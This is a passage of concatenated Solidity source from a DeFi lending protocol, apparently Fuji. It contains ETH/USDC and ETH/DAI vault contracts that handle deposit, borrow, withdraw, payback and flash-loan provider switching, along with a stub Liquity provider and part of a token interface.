}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.8.0;
pragma experimental ABIEncoderV2;
import { IVault } from "./IVault.sol";
import { VaultBase } from "./VaultBase.sol";
import { IFujiAdmin } from "../IFujiAdmin.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {
AggregatorV3Interface
} from "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IFujiERC1155 } from "../FujiERC1155/IFujiERC1155.sol";
import { IProvider } from "../Providers/IProvider.sol";
import { IAlphaWhiteList } from "../IAlphaWhiteList.sol";
import { Errors } from "../Libraries/Errors.sol";
interface IVaultHarvester {
function collectRewards(uint256 _farmProtocolNum) external returns (address claimedToken);
}
contract VaultETHUSDC is IVault, VaultBase, ReentrancyGuard {
uint256 internal constant _BASE = 1e18;
struct Factor {
uint64 a;
uint64 b;
}
// Safety factor
Factor public safetyF;
// Collateralization factor
Factor public collatF;
//State variables
address[] public providers;
address public override activeProvider;
IFujiAdmin private _fujiAdmin;
address public override fujiERC1155;
AggregatorV3Interface public oracle;
modifier isAuthorized() {
require(
msg.sender == owner() || msg.sender == _fujiAdmin.getController(),
Errors.VL_NOT_AUTHORIZED
);
_;
}
modifier onlyFlash() {
require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED);
_;
}
constructor() public {
vAssets.collateralAsset = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); // ETH
vAssets.borrowAsset = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // USDC
// 1.05
safetyF.a = 21;
safetyF.b = 20;
// 1.269
collatF.a = 80;
collatF.b = 63;
}
receive() external payable {}
//Core functions
/**
* @dev Deposits collateral and borrows underlying in a single function call from activeProvider
* @param _collateralAmount: amount to be deposited
* @param _borrowAmount: amount to be borrowed
*/
function depositAndBorrow(uint256 _collateralAmount, uint256 _borrowAmount) external payable {
deposit(_collateralAmount);
borrow(_borrowAmount);
}
/**
* @dev Paybacks the underlying asset and withdraws collateral in a single function call from activeProvider
* @param _paybackAmount: amount of underlying asset to be payback, pass -1 to pay full amount
* @param _collateralAmount: amount of collateral to be withdrawn, pass -1 to withdraw maximum amount
*/
function paybackAndWithdraw(int256 _paybackAmount, int256 _collateralAmount) external payable {
payback(_paybackAmount);
withdraw(_collateralAmount);
}
/**
* @dev Deposit Vault's type collateral to activeProvider
* call Controller checkrates
* @param _collateralAmount: to be deposited
* Emits a {Deposit} event.
*/
function deposit(uint256 _collateralAmount) public payable override {
require(msg.value == _collateralAmount && _collateralAmount != 0, Errors.VL_AMOUNT_ERROR);
// Alpha Whitelist Routine
require(
IAlphaWhiteList(_fujiAdmin.getaWhiteList()).whiteListRoutine(
msg.sender,
vAssets.collateralID,
_collateralAmount,
fujiERC1155
),
Errors.SP_ALPHA_WHITELIST
);
// Delegate Call Deposit to current provider
_deposit(_collateralAmount, address(activeProvider));
// Collateral Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.collateralID, _collateralAmount, "");
emit Deposit(msg.sender, vAssets.collateralAsset, _collateralAmount);
}
/**
* @dev Withdraws Vault's type collateral from activeProvider
* call Controller checkrates
* @param _withdrawAmount: amount of collateral to withdraw
* otherwise pass -1 to withdraw maximum amount possible of collateral (including safety factors)
* Emits a {Withdraw} event.
*/
function withdraw(int256 _withdrawAmount) public override nonReentrant {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
// Get User Collateral in this Vault
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Check User has collateral
require(providedCollateral > 0, Errors.VL_INVALID_COLLATERAL);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID),
true
);
uint256 amountToWithdraw =
_withdrawAmount < 0 ? providedCollateral.sub(neededCollateral) : uint256(_withdrawAmount);
// Check Withdrawal amount, and that it will not fall undercollaterized.
require(
amountToWithdraw != 0 && providedCollateral.sub(amountToWithdraw) >= neededCollateral,
Errors.VL_INVALID_WITHDRAW_AMOUNT
);
// Collateral Management before Withdraw Operation
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.collateralID, amountToWithdraw);
// Delegate Call Withdraw to current provider
_withdraw(amountToWithdraw, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, amountToWithdraw);
emit Withdraw(msg.sender, vAssets.collateralAsset, amountToWithdraw);
} else {
// Logic used when called by Fliquidator
_withdraw(uint256(_withdrawAmount), address(activeProvider));
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, uint256(_withdrawAmount));
}
}
/**
* @dev Borrows Vault's type underlying amount from activeProvider
* @param _borrowAmount: token amount of underlying to borrow
* Emits a {Borrow} event.
*/
function borrow(uint256 _borrowAmount) public override nonReentrant {
updateF1155Balances();
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
_borrowAmount.add(IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID)),
true
);
// Check Provided Collateral is not Zero, and greater than needed to maintain healthy position
require(
_borrowAmount != 0 && providedCollateral > neededCollateral,
Errors.VL_INVALID_BORROW_AMOUNT
);
// Debt Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.borrowID, _borrowAmount, "");
// Delegate Call Borrow to current provider
_borrow(_borrowAmount, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _borrowAmount);
emit Borrow(msg.sender, vAssets.borrowAsset, _borrowAmount);
}
/**
* @dev Paybacks Vault's type underlying to activeProvider
* @param _repayAmount: token amount of underlying to repay, or pass -1 to repay full ammount
* Emits a {Repay} event.
*/
function payback(int256 _repayAmount) public payable override {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
uint256 userDebtBalance = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID);
// Check User Debt is greater than Zero and amount is not Zero
require(_repayAmount != 0 && userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK);
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// If passed argument amount is negative do MAX
uint256 amountToPayback = _repayAmount < 0 ? userDebtBalance : uint256(_repayAmount);
// Check User Allowance
require(
IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= amountToPayback,
Errors.VL_MISSING_ERC20_ALLOWANCE
);
// Transfer Asset from User to Vault
IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), amountToPayback);
// Delegate Call Payback to current provider
_payback(amountToPayback, address(activeProvider));
//TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Debt Management
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.borrowID, amountToPayback);
emit Payback(msg.sender, vAssets.borrowAsset, userDebtBalance);
} else {
// Logic used when called by Fliquidator
_payback(uint256(_repayAmount), address(activeProvider));
}
}
/**
* @dev Changes Vault debt and collateral to newProvider, called by Flasher
* @param _newProvider new provider's address
* @param _flashLoanAmount amount of flashloan underlying to repay Flashloan
* Emits a {Switch} event.
*/
function executeSwitch(
address _newProvider,
uint256 _flashLoanAmount,
uint256 _fee
) external override onlyFlash whenNotPaused {
// Compute Ratio of transfer before payback
uint256 ratio =
(_flashLoanAmount).mul(1e18).div(
IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset)
);
// Payback current provider
_payback(_flashLoanAmount, activeProvider);
// Withdraw collateral proportional ratio from current provider
uint256 collateraltoMove =
IProvider(activeProvider).getDepositBalance(vAssets.collateralAsset).mul(ratio).div(1e18);
_withdraw(collateraltoMove, activeProvider);
// Deposit to the new provider
_deposit(collateraltoMove, _newProvider);
// Borrow from the new provider, borrowBalance + premium
_borrow(_flashLoanAmount.add(_fee), _newProvider);
// return borrowed amount to Flasher
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _flashLoanAmount.add(_fee));
emit Switch(address(this), activeProvider, _newProvider, _flashLoanAmount, collateraltoMove);
}
//Setter, change state functions
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) external onlyOwner {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Sets a new active provider for the Vault
* @param _provider: fuji address of the new provider
* Emits a {SetActiveProvider} event.
*/
function setActiveProvider(address _provider) external override isAuthorized {
activeProvider = _provider;
emit SetActiveProvider(_provider);
}
//Administrative functions
/**
* @dev Sets a fujiERC1155 Collateral and Debt Asset manager for this vault and initializes it.
* @param _fujiERC1155: fuji ERC1155 address
*/
function setFujiERC1155(address _fujiERC1155) external isAuthorized {
fujiERC1155 = _fujiERC1155;
vAssets.collateralID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.collateralToken,
address(this)
);
vAssets.borrowID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.debtToken,
address(this)
);
}
/**
* @dev Set Factors "a" and "b" for a Struct Factor
* For safetyF; Sets Safety Factor of Vault, should be > 1, a/b
* For collatF; Sets Collateral Factor of Vault, should be > 1, a/b
* @param _newFactorA: Nominator
* @param _newFactorB: Denominator
* @param _isSafety: safetyF or collatF
*/
function setFactor(
uint64 _newFactorA,
uint64 _newFactorB,
bool _isSafety
) external isAuthorized {
if (_isSafety) {
safetyF.a = _newFactorA;
safetyF.b = _newFactorB;
} else {
collatF.a = _newFactorA;
collatF.b = _newFactorB;
}
}
/**
* @dev Sets the Oracle address (Must Comply with AggregatorV3Interface)
* @param _oracle: new Oracle address
*/
function setOracle(address _oracle) external isAuthorized {
oracle = AggregatorV3Interface(_oracle);
}
/**
* @dev Set providers to the Vault
* @param _providers: new providers' addresses
*/
function setProviders(address[] calldata _providers) external isAuthorized {
providers = _providers;
}
/**
* @dev External Function to call updateState in F1155
*/
function updateF1155Balances() public override {
uint256 borrowBals;
uint256 depositBals;
// take into account all balances across providers
uint256 length = providers.length;
for (uint256 i = 0; i < length; i++) {
borrowBals = borrowBals.add(IProvider(providers[i]).getBorrowBalance(vAssets.borrowAsset));
}
for (uint256 i = 0; i < length; i++) {
depositBals = depositBals.add(
IProvider(providers[i]).getDepositBalance(vAssets.collateralAsset)
);
}
IFujiERC1155(fujiERC1155).updateState(vAssets.borrowID, borrowBals);
IFujiERC1155(fujiERC1155).updateState(vAssets.collateralID, depositBals);
}
//Getter Functions
/**
* @dev Returns an array of the Vault's providers
*/
function getProviders() external view override returns (address[] memory) {
return providers;
}
/**
* @dev Returns an amount to be paid as bonus for liquidation
* @param _amount: Vault underlying type intended to be liquidated
* @param _flash: Flash or classic type of liquidation, bonus differs
*/
function getLiquidationBonusFor(uint256 _amount, bool _flash)
external
view
override
returns (uint256)
{
if (_flash) {
// Bonus Factors for Flash Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusFlashL();
return _amount.mul(a).div(b);
} else {
//Bonus Factors for Normal Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusLiq();
return _amount.mul(a).div(b);
}
}
/**
* @dev Returns the amount of collateral needed, including or not safety factors
* @param _amount: Vault underlying type intended to be borrowed
* @param _withFactors: Inidicate if computation should include safety_Factors
*/
function getNeededCollateralFor(uint256 _amount, bool _withFactors)
public
view
override
returns (uint256)
{
// Get price of USDC in ETH
(, int256 latestPrice, , , ) = oracle.latestRoundData();
uint256 minimumReq = (_amount.mul(1e12).mul(uint256(latestPrice))).div(_BASE);
if (_withFactors) {
return minimumReq.mul(collatF.a).mul(safetyF.a).div(collatF.b).div(safetyF.b);
} else {
return minimumReq;
}
}
/**
* @dev Returns the borrow balance of the Vault's underlying at a particular provider
* @param _provider: address of a provider
*/
function borrowBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getBorrowBalance(vAssets.borrowAsset);
}
/**
* @dev Returns the deposit balance of the Vault's type collateral at a particular provider
* @param _provider: address of a provider
*/
function depositBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getDepositBalance(vAssets.collateralAsset);
}
/**
* @dev Harvests the Rewards from baseLayer Protocols
* @param _farmProtocolNum: number per VaultHarvester Contract for specific farm
*/
function harvestRewards(uint256 _farmProtocolNum) external onlyOwner {
address tokenReturned =
IVaultHarvester(_fujiAdmin.getVaultHarvester()).collectRewards(_farmProtocolNum);
uint256 tokenBal = IERC20(tokenReturned).balanceOf(address(this));
require(tokenReturned != address(0) && tokenBal > 0, Errors.VL_HARVESTING_FAILED);
IERC20(tokenReturned).uniTransfer(payable(_fujiAdmin.getTreasury()), tokenBal);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <0.8.0;
pragma experimental ABIEncoderV2;
import { IVault } from "./IVault.sol";
import { VaultBase } from "./VaultBase.sol";
import { IFujiAdmin } from "../IFujiAdmin.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {
AggregatorV3Interface
} from "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IFujiERC1155 } from "../FujiERC1155/IFujiERC1155.sol";
import { IProvider } from "../Providers/IProvider.sol";
import { IAlphaWhiteList } from "../IAlphaWhiteList.sol";
import { Errors } from "../Libraries/Errors.sol";
interface IVaultHarvester {
function collectRewards(uint256 _farmProtocolNum) external returns (address claimedToken);
}
contract VaultETHDAI is IVault, VaultBase, ReentrancyGuard {
uint256 internal constant _BASE = 1e18;
struct Factor {
uint64 a;
uint64 b;
}
// Safety factor
Factor public safetyF;
// Collateralization factor
Factor public collatF;
//State variables
address[] public providers;
address public override activeProvider;
IFujiAdmin private _fujiAdmin;
address public override fujiERC1155;
AggregatorV3Interface public oracle;
modifier isAuthorized() {
require(
msg.sender == owner() || msg.sender == _fujiAdmin.getController(),
Errors.VL_NOT_AUTHORIZED
);
_;
}
modifier onlyFlash() {
require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED);
_;
}
constructor() public {
vAssets.collateralAsset = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); // ETH
vAssets.borrowAsset = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); // DAI
// 1.05
safetyF.a = 21;
safetyF.b = 20;
// 1.269
collatF.a = 80;
collatF.b = 63;
}
receive() external payable {}
//Core functions
/**
* @dev Deposits collateral and borrows underlying in a single function call from activeProvider
* @param _collateralAmount: amount to be deposited
* @param _borrowAmount: amount to be borrowed
*/
function depositAndBorrow(uint256 _collateralAmount, uint256 _borrowAmount) external payable {
deposit(_collateralAmount);
borrow(_borrowAmount);
}
/**
* @dev Paybacks the underlying asset and withdraws collateral in a single function call from activeProvider
* @param _paybackAmount: amount of underlying asset to be payback, pass -1 to pay full amount
* @param _collateralAmount: amount of collateral to be withdrawn, pass -1 to withdraw maximum amount
*/
function paybackAndWithdraw(int256 _paybackAmount, int256 _collateralAmount) external payable {
payback(_paybackAmount);
withdraw(_collateralAmount);
}
/**
* @dev Deposit Vault's type collateral to activeProvider
* call Controller checkrates
* @param _collateralAmount: to be deposited
* Emits a {Deposit} event.
*/
function deposit(uint256 _collateralAmount) public payable override {
require(msg.value == _collateralAmount && _collateralAmount != 0, Errors.VL_AMOUNT_ERROR);
// Alpha Whitelist Routine
require(
IAlphaWhiteList(_fujiAdmin.getaWhiteList()).whiteListRoutine(
msg.sender,
vAssets.collateralID,
_collateralAmount,
fujiERC1155
),
Errors.SP_ALPHA_WHITELIST
);
// Delegate Call Deposit to current provider
_deposit(_collateralAmount, address(activeProvider));
// Collateral Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.collateralID, _collateralAmount, "");
emit Deposit(msg.sender, vAssets.collateralAsset, _collateralAmount);
}
/**
* @dev Withdraws Vault's type collateral from activeProvider
* call Controller checkrates
* @param _withdrawAmount: amount of collateral to withdraw
* otherwise pass -1 to withdraw maximum amount possible of collateral (including safety factors)
* Emits a {Withdraw} event.
*/
function withdraw(int256 _withdrawAmount) public override nonReentrant {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
// Get User Collateral in this Vault
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Check User has collateral
require(providedCollateral > 0, Errors.VL_INVALID_COLLATERAL);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID),
true
);
uint256 amountToWithdraw =
_withdrawAmount < 0 ? providedCollateral.sub(neededCollateral) : uint256(_withdrawAmount);
// Check Withdrawal amount, and that it will not fall undercollaterized.
require(
amountToWithdraw != 0 && providedCollateral.sub(amountToWithdraw) >= neededCollateral,
Errors.VL_INVALID_WITHDRAW_AMOUNT
);
// Collateral Management before Withdraw Operation
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.collateralID, amountToWithdraw);
// Delegate Call Withdraw to current provider
_withdraw(amountToWithdraw, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, amountToWithdraw);
emit Withdraw(msg.sender, vAssets.collateralAsset, amountToWithdraw);
} else {
// Logic used when called by Fliquidator
_withdraw(uint256(_withdrawAmount), address(activeProvider));
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, uint256(_withdrawAmount));
}
}
/**
* @dev Borrows Vault's type underlying amount from activeProvider
* @param _borrowAmount: token amount of underlying to borrow
* Emits a {Borrow} event.
*/
function borrow(uint256 _borrowAmount) public override nonReentrant {
updateF1155Balances();
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
_borrowAmount.add(IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID)),
true
);
// Check Provided Collateral is not Zero, and greater than needed to maintain healthy position
require(
_borrowAmount != 0 && providedCollateral > neededCollateral,
Errors.VL_INVALID_BORROW_AMOUNT
);
// Debt Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.borrowID, _borrowAmount, "");
// Delegate Call Borrow to current provider
_borrow(_borrowAmount, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _borrowAmount);
emit Borrow(msg.sender, vAssets.borrowAsset, _borrowAmount);
}
/**
* @dev Paybacks Vault's type underlying to activeProvider
* @param _repayAmount: token amount of underlying to repay, or pass -1 to repay full ammount
* Emits a {Repay} event.
*/
function payback(int256 _repayAmount) public payable override {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
uint256 userDebtBalance = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID);
// Check User Debt is greater than Zero and amount is not Zero
require(_repayAmount != 0 && userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK);
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// If passed argument amount is negative do MAX
uint256 amountToPayback = _repayAmount < 0 ? userDebtBalance : uint256(_repayAmount);
// Check User Allowance
require(
IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= amountToPayback,
Errors.VL_MISSING_ERC20_ALLOWANCE
);
// Transfer Asset from User to Vault
IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), amountToPayback);
// Delegate Call Payback to current provider
_payback(amountToPayback, address(activeProvider));
//TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Debt Management
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.borrowID, amountToPayback);
emit Payback(msg.sender, vAssets.borrowAsset, userDebtBalance);
} else {
// Logic used when called by Fliquidator
_payback(uint256(_repayAmount), address(activeProvider));
}
}
/**
* @dev Changes Vault debt and collateral to newProvider, called by Flasher
* @param _newProvider new provider's address
* @param _flashLoanAmount amount of flashloan underlying to repay Flashloan
* Emits a {Switch} event.
*/
function executeSwitch(
address _newProvider,
uint256 _flashLoanAmount,
uint256 _fee
) external override onlyFlash whenNotPaused {
// Compute Ratio of transfer before payback
uint256 ratio =
_flashLoanAmount.mul(1e18).div(
IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset)
);
// Payback current provider
_payback(_flashLoanAmount, activeProvider);
// Withdraw collateral proportional ratio from current provider
uint256 collateraltoMove =
IProvider(activeProvider).getDepositBalance(vAssets.collateralAsset).mul(ratio).div(1e18);
_withdraw(collateraltoMove, activeProvider);
// Deposit to the new provider
_deposit(collateraltoMove, _newProvider);
// Borrow from the new provider, borrowBalance + premium
_borrow(_flashLoanAmount.add(_fee), _newProvider);
// return borrowed amount to Flasher
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _flashLoanAmount.add(_fee));
emit Switch(address(this), activeProvider, _newProvider, _flashLoanAmount, collateraltoMove);
}
//Setter, change state functions
/**
* @dev Sets a new active provider for the Vault
* @param _provider: fuji address of the new provider
* Emits a {SetActiveProvider} event.
*/
function setActiveProvider(address _provider) external override isAuthorized {
activeProvider = _provider;
emit SetActiveProvider(_provider);
}
//Administrative functions
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) external onlyOwner {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Sets a fujiERC1155 Collateral and Debt Asset manager for this vault and initializes it.
* @param _fujiERC1155: fuji ERC1155 address
*/
function setFujiERC1155(address _fujiERC1155) external isAuthorized {
fujiERC1155 = _fujiERC1155;
vAssets.collateralID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.collateralToken,
address(this)
);
vAssets.borrowID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.debtToken,
address(this)
);
}
/**
* @dev Set Factors "a" and "b" for a Struct Factor
* For safetyF; Sets Safety Factor of Vault, should be > 1, a/b
* For collatF; Sets Collateral Factor of Vault, should be > 1, a/b
* @param _newFactorA: Nominator
* @param _newFactorB: Denominator
* @param _isSafety: safetyF or collatF
*/
function setFactor(
uint64 _newFactorA,
uint64 _newFactorB,
bool _isSafety
) external isAuthorized {
if (_isSafety) {
safetyF.a = _newFactorA;
safetyF.b = _newFactorB;
} else {
collatF.a = _newFactorA;
collatF.b = _newFactorB;
}
}
/**
* @dev Sets the Oracle address (Must Comply with AggregatorV3Interface)
* @param _oracle: new Oracle address
*/
function setOracle(address _oracle) external isAuthorized {
oracle = AggregatorV3Interface(_oracle);
}
/**
* @dev Set providers to the Vault
* @param _providers: new providers' addresses
*/
function setProviders(address[] calldata _providers) external isAuthorized {
providers = _providers;
}
/**
* @dev External Function to call updateState in F1155
*/
function updateF1155Balances() public override {
uint256 borrowBals;
uint256 depositBals;
// take into balances across all providers
uint256 length = providers.length;
for (uint256 i = 0; i < length; i++) {
borrowBals = borrowBals.add(IProvider(providers[i]).getBorrowBalance(vAssets.borrowAsset));
}
for (uint256 i = 0; i < length; i++) {
depositBals = depositBals.add(
IProvider(providers[i]).getDepositBalance(vAssets.collateralAsset)
);
}
IFujiERC1155(fujiERC1155).updateState(vAssets.borrowID, borrowBals);
IFujiERC1155(fujiERC1155).updateState(vAssets.collateralID, depositBals);
}
//Getter Functions
/**
* @dev Returns an array of the Vault's providers
*/
function getProviders() external view override returns (address[] memory) {
return providers;
}
/**
* @dev Returns an amount to be paid as bonus for liquidation
* @param _amount: Vault underlying type intended to be liquidated
* @param _flash: Flash or classic type of liquidation, bonus differs
*/
function getLiquidationBonusFor(uint256 _amount, bool _flash)
external
view
override
returns (uint256)
{
if (_flash) {
// Bonus Factors for Flash Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusFlashL();
return _amount.mul(a).div(b);
} else {
//Bonus Factors for Normal Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusLiq();
return _amount.mul(a).div(b);
}
}
/**
* @dev Returns the amount of collateral needed, including or not safety factors
* @param _amount: Vault underlying type intended to be borrowed
* @param _withFactors: Inidicate if computation should include safety_Factors
*/
function getNeededCollateralFor(uint256 _amount, bool _withFactors)
public
view
override
returns (uint256)
{
// Get price of DAI in ETH
(, int256 latestPrice, , , ) = oracle.latestRoundData();
uint256 minimumReq = (_amount.mul(uint256(latestPrice))).div(_BASE);
if (_withFactors) {
return minimumReq.mul(collatF.a).mul(safetyF.a).div(collatF.b).div(safetyF.b);
} else {
return minimumReq;
}
}
/**
* @dev Returns the borrow balance of the Vault's underlying at a particular provider
* @param _provider: address of a provider
*/
function borrowBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getBorrowBalance(vAssets.borrowAsset);
}
/**
* @dev Returns the deposit balance of the Vault's type collateral at a particular provider
* @param _provider: address of a provider
*/
function depositBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getDepositBalance(vAssets.collateralAsset);
}
/**
* @dev Harvests the Rewards from baseLayer Protocols
* @param _farmProtocolNum: number per VaultHarvester Contract for specific farm
*/
function harvestRewards(uint256 _farmProtocolNum) external onlyOwner {
address tokenReturned =
IVaultHarvester(_fujiAdmin.getVaultHarvester()).collectRewards(_farmProtocolNum);
uint256 tokenBal = IERC20(tokenReturned).balanceOf(address(this));
require(tokenReturned != address(0) && tokenBal > 0, Errors.VL_HARVESTING_FAILED);
IERC20(tokenReturned).uniTransfer(payable(_fujiAdmin.getTreasury()), tokenBal);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.8.0;
pragma experimental ABIEncoderV2;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IProvider } from "./IProvider.sol";
interface LQTYInterface {}
contract LQTYHelpers {
function _initializeTrouve() internal {
//TODO function
}
}
contract ProviderLQTY is IProvider, LQTYHelpers {
using SafeMath for uint256;
using UniERC20 for IERC20;
function deposit(address collateralAsset, uint256 collateralAmount) external payable override {
collateralAsset;
collateralAmount;
//TODO
}
function borrow(address borrowAsset, uint256 borrowAmount) external payable override {
borrowAsset;
borrowAmount;
//TODO
}
function withdraw(address collateralAsset, uint256 collateralAmount) external payable override {
collateralAsset;
collateralAmount;
//TODO
}
function payback(address borrowAsset, uint256 borrowAmount) external payable override {
borrowAsset;
borrowAmount;
//TODO
}
function getBorrowRateFor(address asset) external view override returns (uint256) {
asset;
//TODO
return 0;
}
function getBorrowBalance(address _asset) external view override returns (uint256) {
_asset;
//TODO
return 0;
}
function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) {
_asset;
_who;
//TODO
return 0;
}
function getDepositBalance(address _asset) external view override returns (uint256) {
_asset;
//TODO
return 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IProvider } from "./IProvider.sol";
interface IGenCyToken is IERC20 {
function redeem(uint256) external returns (uint256);
function redeemUnderlying(uint256) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function borrowRatePerBlock() external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function totalBorrowsCurrent() external returns (uint256);
function borrowBalanceCurrent(address account) external returns (uint256);
function borrowBalanceStored(address account) external view returns (uint256);
function getCash() external view returns (uint256);
}
